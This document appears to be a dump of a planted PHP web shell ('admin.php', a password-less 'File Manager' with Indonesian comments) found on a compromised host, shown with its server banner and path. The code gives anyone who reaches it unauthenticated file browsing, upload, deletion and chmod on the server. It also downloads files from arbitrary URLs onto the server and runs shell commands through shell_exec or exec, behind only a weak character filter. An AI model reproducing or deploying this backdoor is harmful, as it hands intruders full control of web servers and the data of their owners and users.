HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/domains/teleweb.dk/public_html/cgi-bin/backup/modules/modules/lqno/admin.php
<?php
/**
 * File Manager Tanpa Password
 * Langsung akses file manager
 */

error_reporting(0);
@ini_set('display_errors', 0);
session_start();

// Hapus session login lama jika ada
if (isset($_SESSION['login_user'])) {
    unset($_SESSION['login_user']);
}

// Handle AJAX Rename (tetap dipertahankan)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ajax']) && $_POST['ajax'] === 'rename_inline') {
    $dir = isset($_POST['dir']) ? $_POST['dir'] : '';
    $old = isset($_POST['old']) ? $_POST['old'] : '';
    $new = isset($_POST['new']) ? $_POST['new'] : '';
    $dir = @realpath($dir) ? @realpath($dir) : $dir;
    $oldPath = $dir . DIRECTORY_SEPARATOR . $old;
    $newPath = $dir . DIRECTORY_SEPARATOR . $new;

    $resp = ['ok' => false, 'msg' => 'Rename failed'];

    if ($old === '' || $new === '' || $dir === '') {
        $resp['msg'] = 'Invalid parameters';
    } elseif (!file_exists($oldPath)) {
        $resp['msg'] = 'Original item not found';
    } elseif (@rename($oldPath, $newPath)) {
        $resp['ok'] = true;
        $resp['msg'] = 'Rename success';
    } else {
        $resp['msg'] = 'Rename error (permissions?)';
    }

    header('Content-Type: application/json');
    echo json_encode($resp);
    exit;
}

show_file_manager();
exit;

// ==================== FUNGSI UTAMA FILE MANAGER ====================

function safe_download_to($url, $dest) {
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT => 60,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
        ]);
        $data = curl_exec($ch);
        curl_close($ch);
        if ($data !== false) {
            return @file_put_contents($dest, $data) !== false;
        }
    } else {
        $data = @file_get_contents($url);
        if ($data !== false) {
            return @file_put_contents($dest, $data) !== false;
        }
    }
    return false;
}

function show_file_manager() {
    $BASE_DIR = getcwd();
    $dir = $_GET['dir'] ?? $BASE_DIR;
    $dir = @realpath($dir) ?: $BASE_DIR;

    $files = @scandir($dir) ?: [];

    $chmod_msg = '';

    // ==================== POST HANDLER ====================
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (isset($_POST['buatfolder']) && trim($_POST['newfolder']) !== '') {
            @mkdir($dir . DIRECTORY_SEPARATOR . trim($_POST['newfolder']), 0755);
            header("Location: ?dir=" . urlencode($dir));
            exit;
        }

        if (isset($_POST['buatfile']) && trim($_POST['newfile']) !== '') {
            @touch($dir . DIRECTORY_SEPARATOR . trim($_POST['newfile']));
            header("Location: ?dir=" . urlencode($dir));
            exit;
        }

        if (isset($_POST['upload']) && !empty($_FILES['upload_file'])) {
            $f = $_FILES['upload_file'];
            for ($i = 0; $i < count($f['name']); $i++) {
                if ($f['error'][$i] === UPLOAD_ERR_OK) {
                    $name = basename($f['name'][$i]);
                    @move_uploaded_file($f['tmp_name'][$i], $dir . DIRECTORY_SEPARATOR . $name);
                }
            }
            header("Location: ?dir=" . urlencode($dir));
            exit;
        }

        if (isset($_POST['wget_submit']) && !empty($_POST['wget_url']) && !empty($_POST['wget_name'])) {
            $dest = $dir . DIRECTORY_SEPARATOR . basename(trim($_POST['wget_name']));
            safe_download_to(trim($_POST['wget_url']), $dest);
            header("Location: ?dir=" . urlencode($dir));
            exit;
        }

        if (isset($_POST['ch']) && isset($_GET['chmod'])) {
            $item = $_GET['chmod'];
            $perm_str = trim($_POST['perm']);
            if (preg_match('/^[0-7]{3,4}$/', $perm_str)) {
                $perm = octdec($perm_str);
                $target = $dir . DIRECTORY_SEPARATOR . $item;
                if (@chmod($target, $perm)) {
                    $chmod_msg = "Chmod berhasil: $perm_str";
                } else {
                    $chmod_msg = "Gagal chmod pada $item";
                }
            }
        }
    }

    // Delete handler
    if (isset($_GET['delete'])) {
        $del = $dir . DIRECTORY_SEPARATOR . $_GET['delete'];
        is_dir($del) ? @rmdir($del) : @unlink($del);
        header("Location: ?dir=" . urlencode($dir));
        exit;
    }

    // Download handler
    if (isset($_GET['action']) && $_GET['action'] === 'download' && isset($_GET['item'])) {
        $target = $dir . DIRECTORY_SEPARATOR . $_GET['item'];
        if (is_file($target)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($target) . '"');
            header('Content-Length: ' . filesize($target));
            readfile($target);
            exit;
        }
    }

    // Command Execution
    $cmd_output = '';
    if (isset($_POST['exec']) && !empty($_POST['cmd'])) {
        $cmd = trim($_POST['cmd']);
        if (preg_match('/[;&|`$]/', $cmd)) {
            $cmd_output = "Command berbahaya tidak diizinkan.";
        } else {
            $safe_dir = escapeshellarg($dir);
            $full_cmd = "cd $safe_dir && $cmd 2>&1";
            if (function_exists('shell_exec')) {
                $cmd_output = @shell_exec($full_cmd);
            } elseif (function_exists('exec')) {
                $out = [];
                @exec($full_cmd, $out);
                $cmd_output = implode("\n", $out);
            } else {
                $cmd_output = "Shell execution disabled by server.";
            }
        }
    }

    // Pisahkan folder dan file
    $dirs = $files_list = [];
    foreach ($files as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        is_dir($path) ? $dirs[] = $item : $files_list[] = $item;
    }
    natcasesort($dirs);
    natcasesort($files_list);

    $refresh_url = '?dir=' . urlencode($dir);
    ?>
    <!doctype html>
    <html lang="id">
    <head>
        <meta charset="utf-8">
        <title>File Manager</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <style>
            body {font-family: system-ui, Arial, sans-serif; background:#071022; color:#e6eef8; margin:0; padding:16px;}
            .bar {display:flex; justify-content:space-between; align-items:center; margin-bottom:16px; flex-wrap:wrap; gap:10px;}
            .btn {background:#0ea5a4; color:#012; padding:8px 14px; border-radius:6px; text-decoration:none; font-weight:600; cursor:pointer;}
            .btn-alt {background:#0369a1;}
            .btn-danger {background:#ef4444;}
            .box {background:#021126; padding:16px; border-radius:8px;}
            table {width:100%; border-collapse:collapse; margin:12px 0;}
            th, td {padding:10px; text-align:left; border-bottom:1px solid #072032;}
            th {background:#041a38; color:#a5d8ff;}
            tr:hover {background:#0a2540;}
            .dir-row td {color:#7dd3fc; font-weight:500;}
            .actions {display:flex; gap:6px; flex-wrap:wrap;}
            .notice {padding:10px; border-radius:6px; margin:10px 0;}
            .success {background:#1a3c34; color:#a5f3c0;}
            .error {background:#3c1a1a; color:#fca5a5;}
            pre {background:#001219; color:#cff7ff; padding:12px; border-radius:6px; overflow:auto; font-size:13px;}
            .inline-input {padding:8px; border:1px solid #123; background:#041026; color:#e6eef8; border-radius:5px;}
            .link {color:#7dd3fc; text-decoration:none;}
            .link:hover {text-decoration:underline;}
        </style>
        <script>
        function startRename(dir, oldName, elId) {
            const cell = document.getElementById(elId);
            if (!cell) return;
            cell.innerHTML = `<input type="text" value="${oldName}" class="inline-input" id="rename_input"> 
                              <button class="btn btn-alt" onclick="doRename('${dir}','${oldName}','${elId}')">OK</button>
                              <button class="btn" onclick="location.reload()">Batal</button>`;
        }

        function doRename(dir, oldName, elId) {
            const newName = document.getElementById('rename_input').value.trim();
            if (!newName || newName === oldName) return location.reload();

            const xhr = new XMLHttpRequest();
            xhr.open('POST', '?', true);
            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            const params = `ajax=rename_inline&dir=${encodeURIComponent(dir)}&old=${encodeURIComponent(oldName)}&new=${encodeURIComponent(newName)}`;
            
            xhr.onreadystatechange = () => {
                if (xhr.readyState === 4) {
                    try {
                        const res = JSON.parse(xhr.responseText);
                        if (res.ok) location.reload();
                        else alert('Gagal: ' + res.msg);
                    } catch(e) {
                        alert('Error server');
                    }
                }
            };
            xhr.send(params);
        }
        </script>
    </head>
    <body>
    <div class="bar">
        <div><strong>File Manager</strong> — Path: <span style="color:#94a3b8"><?= htmlspecialchars($dir) ?></span></div>
        <div>
            <a class="btn" href="<?= $refresh_url ?>">Refresh</a>
            <a class="btn btn-alt" href="?dir=<?= urlencode(dirname($dir)) ?>">↑ Naik</a>
            <a class="btn btn-alt" href="?dir=<?= urlencode($dir) ?>&cmd=1">CMD</a>
            <a class="btn btn-alt" href="?dir=<?= urlencode($dir) ?>&wget=1">Wget</a>
            <a class="btn btn-danger" href="?logout=1" onclick="return confirm('Keluar?')">Logout</a>
        </div>
    </div>

    <div class="box">
        <?php if ($chmod_msg): ?>
            <div class="notice <?= strpos($chmod_msg, 'berhasil') !== false ? 'success' : 'error' ?>">
                <?= htmlspecialchars($chmod_msg) ?>
            </div>
        <?php endif; ?>

        <!-- Upload & Create -->
        <div style="margin:16px 0; display:flex; gap:12px; flex-wrap:wrap; align-items:center">
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="upload_file[]" multiple>
                <button class="btn" name="upload">Upload File</button>
            </form>
            <form method="post">
                <input class="inline-input" name="newfolder" placeholder="Nama folder baru" style="width:200px">
                <button class="btn btn-alt" name="buatfolder">Buat Folder</button>
            </form>
            <form method="post">
                <input class="inline-input" name="newfile" placeholder="Nama file baru" style="width:200px">
                <button class="btn btn-alt" name="buatfile">Buat File</button>
            </form>
        </div>

        <?php if (isset($_GET['wget'])): ?>
        <h4>Wget / Download dari URL</h4>
        <form method="post" style="display:flex; gap:8px; flex-wrap:wrap">
            <input class="inline-input" name="wget_url" placeholder="https://..." style="flex:1; min-width:300px">
            <input class="inline-input" name="wget_name" placeholder="nama_file.ext" style="width:200px">
            <button class="btn" name="wget_submit">Download</button>
        </form>
        <?php endif; ?>

        <?php if (isset($_GET['cmd'])): ?>
        <h4>Execute Command</h4>
        <form method="post" style="display:flex; gap:8px">
            <input class="inline-input" name="cmd" placeholder="ls -la atau whoami" style="flex:1; min-width:350px">
            <button class="btn btn-alt" name="exec">Jalankan</button>
        </form>
        <?php if ($cmd_output !== ''): ?>
            <h5>Output:</h5>
            <pre><?= htmlspecialchars($cmd_output) ?></pre>
        <?php endif; ?>
        <?php endif; ?>

        <!-- Daftar Folder & File -->
        <?php if (!empty($dirs) || !empty($files_list)): ?>
            <table>
            <thead>
                <tr><th>Nama</th><th>Tipe</th><th>Ukuran</th><th>Izin</th><th>Diubah</th><th>Aksi</th></tr>
            </thead>
            <tbody>
            <?php foreach ($dirs as $it): 
                $full = $dir . DIRECTORY_SEPARATOR . $it;
                $perm = substr(sprintf('%o', @fileperms($full)), -4);
                $safeId = 'd_' . md5($it);
            ?>
            <tr class="dir-row">
                <td><a class="link" href="?dir=<?= urlencode($full) ?>">📁 <?= htmlspecialchars($it) ?></a></td>
                <td>dir</td><td>-</td>
                <td><?= htmlspecialchars($perm) ?></td>
                <td><?= date('Y-m-d H:i', @filemtime($full)) ?></td>
                <td class="actions">
                    <a href="javascript:void(0)" onclick="startRename('<?= addslashes($dir) ?>','<?= addslashes($it) ?>','<?= $safeId ?>')">Rename</a>
                    <a href="?dir=<?= urlencode($dir) ?>&chmod=<?= urlencode($it) ?>">Chmod</a>
                    <a href="?dir=<?= urlencode($dir) ?>&delete=<?= urlencode($it) ?>" onclick="return confirm('Hapus folder ini?')" style="color:#ff6b6b">Delete</a>
                </td>
            </tr>
            <tr><td colspan="6" id="<?= $safeId ?>"></td></tr>
            <?php endforeach; ?>

            <?php $i = 0; foreach ($files_list as $it): 
                $full = $dir . DIRECTORY_SEPARATOR . $it;
                $size = @filesize($full) ?: 0;
                $size_str = $size >= 1048576 ? round($size/1048576,1).' MB' : ($size >= 1024 ? round($size/1024,1).' KB' : $size.' B');
                $perm = substr(sprintf('%o', @fileperms($full)), -4);
                $safeId = 'f_' . $i++;
            ?>
            <tr class="file-row">
                <td><a class="link" href="?dir=<?= urlencode($dir) ?>&view=<?= urlencode($it) ?>"><?= htmlspecialchars($it) ?></a></td>
                <td>file</td>
                <td><?= $size_str ?></td>
                <td><?= htmlspecialchars($perm) ?></td>
                <td><?= date('Y-m-d H:i', @filemtime($full)) ?></td>
                <td class="actions">
                    <a href="?dir=<?= urlencode($dir) ?>&view=<?= urlencode($it) ?>">Edit</a>
                    <a href="?dir=<?= urlencode($dir) ?>&action=download&item=<?= urlencode($it) ?>">Download</a>
                    <a href="javascript:void(0)" onclick="startRename('<?= addslashes($dir) ?>','<?= addslashes($it) ?>','<?= $safeId ?>')">Rename</a>
                    <a href="?dir=<?= urlencode($dir) ?>&chmod=<?= urlencode($it) ?>">Chmod</a>
                    <a href="?dir=<?= urlencode($dir) ?>&delete=<?= urlencode($it) ?>" onclick="return confirm('Hapus file ini?')" style="color:#ff6b6b">Delete</a>
                </td>
            </tr>
            <tr><td colspan="6" id="<?= $safeId ?>"></td></tr>
            <?php endforeach; ?>
            </tbody>
            </table>
        <?php else: ?>
            <div class="notice" style="text-align:center">Folder ini kosong.</div>
        <?php endif; ?>

        <!-- Chmod Panel -->
        <?php if (isset($_GET['chmod'])):
            $item = $_GET['chmod'];
            $target = $dir . DIRECTORY_SEPARATOR . $item;
            $cur_perm = substr(sprintf('%o', @fileperms($target)), -4);
        ?>
        <h4>Chmod: <?= htmlspecialchars($item) ?> (Sekarang: <?= $cur_perm ?>)</h4>
        <form method="post" style="display:flex; gap:10px">
            <input class="inline-input" name="perm" value="<?= htmlspecialchars($cur_perm) ?>" style="width:120px" pattern="[0-7]{3,4}">
            <button class="btn btn-alt" name="ch">Apply Chmod</button>
        </form>
        <?php endif; ?>

        <!-- Edit File -->
        <?php if (isset($_GET['view'])):
            $file = $dir . DIRECTORY_SEPARATOR . $_GET['view'];
            if (is_file($file)):
                $content = @file_get_contents($file);
        ?>
        <h4>Edit File: <?= htmlspecialchars(basename($file)) ?></h4>
        <form method="post">
            <textarea name="content" rows="18" style="width:100%; background:#001219; color:#e6eef8; font-family:monospace; padding:12px; border:1px solid #123; border-radius:6px"><?= htmlspecialchars($content) ?></textarea><br><br>
            <button class="btn" name="save">Simpan Perubahan</button>
        </form>
        <?php endif; endif; ?>
    </div>
    </body>
    </html>
    <?php
}
?>